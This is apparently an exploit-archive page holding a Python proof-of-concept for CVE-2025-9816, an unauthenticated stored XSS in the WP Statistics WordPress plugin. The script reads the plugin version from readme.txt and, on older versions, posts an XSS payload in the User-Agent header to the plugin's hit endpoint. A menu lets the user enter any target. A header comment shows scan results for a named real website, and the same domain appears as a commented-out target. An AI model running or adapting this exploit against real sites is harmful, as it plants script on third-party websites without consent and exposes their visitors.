4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.py PY
# [+] wp-statistics
#  | Location: https://shahrdariarad.ir/wp-content/plugins/wp-statistics/
#  | Last Updated: 2025-09-21T07:58:00.000Z
#  | Readme: https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt
#  | [!] The version is out of date, the latest version is 14.15.5
#  |
#  | Found By: Known Locations (Aggressive Detection)
#  |  - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/, status: 403
#  |
#  | [!] 1 vulnerability identified:
#  |
#  | [!] Title: WP Statistics < 14.15.5 - Unauthenticated Stored XSS via User-Agent Header
#  |     Fixed in: 14.15.5
#  |     References:
#  |      - https://wpscan.com/vulnerability/c815babc-2a9d-4d2a-901e-13b4825526f1
#  |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9816
#  |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8351204-da6d-443a-98b5-0608bfb1e9d0
#  |
#  | Version: 14.15.2 (100% confidence)
#  | Found By: Readme - Stable Tag (Aggressive Detection)
#  |  - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt
#  | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
#  |  - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt
import sys

import requests
from random import uniform
import re
from log.logger import logger
import keyboard
import os
import sys
from time import sleep

wp_statistic_default_route = "/wp-content/plugins/wp-statistics/readme.txt"

class color:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'


def check_plugin_route(base_domain: str):
    try:

        http_headers = {
            "Sec-Ch-Ua": "\"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"",
            "Sec-Ch-Ua-Mobile": "?0",
            "Sec-Ch-Ua-Platform": "\"Windows\"",
            "Accept-Language": "en-US,en;q=0.9",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
            "Sec-Fetch-Site": "none",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-User": "?1",
            "Sec-Fetch-Dest": "document",
            "Accept-Encoding": "gzip",
            "Priority": "u=0, i",
            "Connection": "keep-alive"
        }
        response = requests.get(
            url=base_domain + wp_statistic_default_route,
            headers=http_headers,
            timeout=10,
            allow_redirects=True,
            verify=False
        )
        if response.status_code == 200:
            return True, response.text
        else:
            return False, None
    except Exception as e:
        logger.error(f"Error: {e}")
        return False, None
        

def extract_plugin_version(readme_response: str):
    try:
        pattern = r'Stable\s+tag:\s*([\d.]+)'
        match_text = re.search(pattern, readme_response)
        if match_text:
            return match_text.group(1)
        else:
            return None
    except Exception as e:
        logger.error(f"Error: {e}")
        return None

def check_vulnerable_version(input_version: str):
    try:
        version_parser = map(int, (input_version + '.0.0').split('.')[:3])
        splited_version = tuple(version_parser)
        if splited_version < (14, 15, 5):
            return True
        else:
            return False
    except Exception as e:
        logger.error(f"Error: {e}")
        return False

def stored_xss_poc(base_url: str):
    try:
        vulnerable_route = "/wp-json/wp-statistics/v2/hit"
        http_headers = {"Sec-Ch-Ua": "\"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"",
                        "Content-Type": "application/x-www-form-urlencoded",
                        "Accept-Language": "en-US,en;q=0.9",
                        "Sec-Ch-Ua-Mobile": "?0",
                        "User-Agent": "OnXSS%3d%3cImg%2fSrc%2fOnError%3d(alert)(1)%3e",
                        "Sec-Ch-Ua-Platform": "\"Windows\"",
                        "Accept": "*/*",
                        "Sec-Fetch-Site": "same-origin",
                        "Sec-Fetch-Mode": "cors",
                        "Sec-Fetch-Dest": "empty",
                        "Priority": "u=1, i"
                        }
        http_data = {
            "wp_statistics_hit": "1",
            "source_type": "home",
            "source_id": "1546",
            "search_query": '',
            "signature": "3edafe75d3c61b1db8113226df25dc5e",
            "endpoint": "hit",
            "referred": '',
            "page_uri": "Lw=="
        }
    
        sxss_response = requests.post(
            url=base_url + vulnerable_route,
            headers=http_headers,
            data=http_data,
            timeout=10,
            verify=False
        )
    
        if sxss_response.status_code == 200:
            return sxss_response.text
        else:
            print(sxss_response.text)
            return None
    except Exception as e:
        logger.error(f"Error: {e}")


def type_text_like_human(text: str, min_delay = 0.03, max_delay = 0.12):
    for char in text:
        sys.stdout.write(char)
        sys.stdout.flush()
        sleep(uniform(min_delay, max_delay))


def clear_screen():
    os.system('cls' if os.name == 'nt' else 'clear')


def scan(url: str):
    try:
        if url is None or len(url) == 0:
            logger.error(f"Error: URL is Empty... Try again")
            return None
        else:
            if url[-1] == '/':
                url = url[:-1]
            route_exist, route_data = check_plugin_route(url)
            if route_exist:
                print(f"[X] Route {color.OKGREEN}{url+wp_statistic_default_route}{color.ENDC}", "Exist.")
                extracted_version = extract_plugin_version(route_data)
                print(f"[X] Detected version {color.OKGREEN} Version:{color.ENDC} {color.OKCYAN}{extracted_version}{color.ENDC}")
                if check_vulnerable_version(extracted_version):
                    attack_response = stored_xss_poc(base_url=url)
                    if attack_response == '{"status":true}':
                        print("[X] Target is", color.FAIL + "Vulnerable" + color.ENDC)
                    else:
                        print(attack_response)


    except Exception as e:
        logger.error(f"Error: {e}")

# domain = "https://shahrdariarad.ir"
# response = check_plugin_route(domain)
# extracted_version = extract_plugin_version(response)
# print(extracted_version)
# if check_vulnerable_version(extracted_version):
#     if stored_xss_poc(base_url=domain) == '{"status":true}':
#         print("Vulnerable")


def terminal_menu_keyboard(options):
    selected = 0
    print("Use Ctrl+C")

    while True:
        clear_screen()
        print("""                                                                                                                 
.oPYo.   o     o   .oPYo.           .oPYo.   .oPYo.   .oPYo.   oooooo           .oPYo.    .PY.    .o   .pPYo. 
8    8   8     8   8.                   `8   8  .o8       `8   8                8'  `8    8  8     8   8      
8        8     8   `boo                oP'   8 .P'8      oP'   8pPYo.           8.  .8   .oPYo.    8   8oPYo. 
8        `b   d'   .P       ooooo   .oP'     8.d' 8   .oP'         `8   ooooo   `YooP8   8'  `8    8   8'  `8 
8    8    `b d'    8                8'       8o'  8   8'           .P               .P   8.  .P    8   8.  .P 
`YooP'     `8'     `YooP'           8ooooo   `YooP'   8ooooo   `YooP'           `YooP'   `YooP'    8   `YooP' 
:.....::::::..::::::.....:::::::::::.......:::.....:::.......:::.....::::::::::::.....::::.....::::..:::.....:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
""")
        print("=== Menu ===")
        for i, option in enumerate(options):
            prefix = " ➤ " if i == selected else "   "
            print(f"{prefix}{option}")
        print("\nUse ↑,↓ and Enter")

        event = keyboard.read_event(suppress=True)
        if event.event_type == keyboard.KEY_DOWN:
            key = event.name

            if key == 'up' and selected > 0:
                selected -= 1
            elif key == 'down' and selected < len(options) - 1:
                selected += 1
            elif key == 'enter':
                if options.index(options[selected]) == 0:
                    clear_screen()
                    type_text_like_human(text="You must enter your url-target...\n")
                    type_text_like_human(text="Example: https://vulnerable.com\n")
                    domain = input("Enter URL: ")
                    scan(url=domain)
                if options.index(options[selected]) == 1:
                    print("Choosed 2")
                if options.index(options[selected]) == 2:
                    print("Choosed 3")
                if options.index(options[selected]) == 3:
                    sys.exit()

                # print(f"Your choice: {options[selected]}")
                # print(f"Chooosed {options.index(options[selected])}")
                # input("\nPress Enter to Continue...")
                return options[selected]


if __name__ == "__main__":
    items = ["Scan single domain", "Scan a list of domains", "About Developer", "Exit"]
    result = terminal_menu_keyboard(items)
    # print("Result:", result)